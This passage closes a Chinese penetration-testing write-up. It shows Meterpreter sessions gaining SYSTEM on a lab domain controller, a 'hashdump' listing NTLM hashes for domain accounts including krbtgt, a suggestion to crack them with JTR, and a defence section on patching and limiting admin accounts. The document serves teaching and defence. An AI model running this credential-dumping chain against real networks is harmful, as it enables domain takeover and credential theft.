[*] Meterpreter session 3 opened (192.168.1.10:4445 -> 192.168.1.200:49245) at 2016-11-16 20:58:18 +0200
msf exploit(psexec) > sessions -l
Active sessions
===============
  Id  Type                   Information                      Connection
  --  ----                   -----------                      ----------
  1   meterpreter x64/win64  NET\testuser1 @ WIN7SP164        192.168.1.10:443 -> 192.168.1.208:49163 (192.168.1.208)
  2   meterpreter x64/win64  NT AUTHORITY\SYSTEM @ WIN7SP164  192.168.1.10:4444 -> 192.168.1.208:49164 (192.168.1.208)
  4   meterpreter x64/win64  NT AUTHORITY\SYSTEM @ DC         192.168.1.10:4445 -> 192.168.1.200:49388 (192.168.1.200)
meterpreter > sysinfo 
Computer        : DC
OS              : Windows 2012 R2 (Build 9600).
Architecture    : x64
System Language : en_US
Domain          : NET
Logged On Users : 5
Meterpreter     : x64/win64

最后,我们可以转储存储在域控制器上的所有凭据:

meterpreter > hashdump 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4b08728132d41e230b4ee268c5b42acb:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:43a6a9669d444da03408e368b8daf0c1:::
DC:1001:aad3b435b51404eeaad3b435b51404ee:4b08728132d41e230b4ee268c5b42acb:::
boss:1108:aad3b435b51404eeaad3b435b51404ee:c1fc37edabedb382c5141e88ce614b11:::
testuser2:1109:aad3b435b51404eeaad3b435b51404ee:f984c0e85e62faef91f6ad49fb9f8554:::
testuser1:1110:aad3b435b51404eeaad3b435b51404ee:b4c295164ce915935084495caf7f9cfa:::
evilboss:1119:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::
DC$:1002:aad3b435b51404eeaad3b435b51404ee:a2807c6834bac0c8599530a02aa169af:::
WIN7SP0$:1107:aad3b435b51404eeaad3b435b51404ee:77b40b8cb3d6c4547ab3442ff3a34683:::
WIN7SP1$:1115:aad3b435b51404eeaad3b435b51404ee:b31785870dd8c4df04ff8f48dd0b9728:::
WINXPSP2$:1116:aad3b435b51404eeaad3b435b51404ee:61083f3aff10e03cc6ece1b04c9a76f1:::
WIN7SP164$:1117:aad3b435b51404eeaad3b435b51404ee:031b3d01c20cb5f1ad6cceb4bccbd0ca:::

与我们对本地管理员的密码所做的破解方法类似,我们可以使用 JTR 来破解这个 NTLM 哈希值。

防御

本文的测试过程说明了保持系统打了最新补丁的重要性 通过这样的做法,不仅要注意操作系统的安全补丁,还要关注已经安装的软件。

参考本文的模拟攻击方案,下面列出了保护系统所要做的一些操作:

· Java 更新到发布的最新版本,可以修复 CVE-2013-2465 和其他与 Java 相关的漏洞 ;

·  安装微软安全修补程序 KB3057191 修复 MS15-051 漏洞。

关于基于令牌的 Microsoft Windows 访问控制模型,你需要记住的是这是 Windows 处理身份验证的方式,因此不能将其视为漏洞。这意味着为了保护内网环境,对策应更多地涉及流程和程序。这就是为何要遵循安全最佳实践的重要原因 这里有一个安全规则列表,它可以降低与令牌模拟攻击相关的风险等级:

· 限制域管理员帐户的数量

·  拥有 Domain Admin 帐户的用户必须使用其非特权帐户按照标准来使用 ;

· 在人员的权限范围内创建具有访问限制的管理员组(例如,开发,测试和生产组),可以限制可能的数据泄露风险。

参考

https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Python高级编程(第二版)

Python高级编程(第二版)

[波兰] Michał Jaworski、[法] Tarek Ziadé / 张亮、阿信 / 人民邮电出版社 / 2017-9-19 / 89.00元

Python作为一种高级程序设计语言,凭借其简洁、易读及可扩展性日渐成为程序设计领域备受推崇的语言之一。 本书基于Python 3.5版本进行讲解,通过13章的内容,深度揭示了Python编程的高级技巧。本书从Python语言及其社区的现状开始介绍,对Python语法、命名规则、Python包的编写、部署代码、扩展程序开发、管理代码、文档编写、测试开发、代码优化、并发编程、设计模式等重要话题......一起来看看 《Python高级编程(第二版)》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具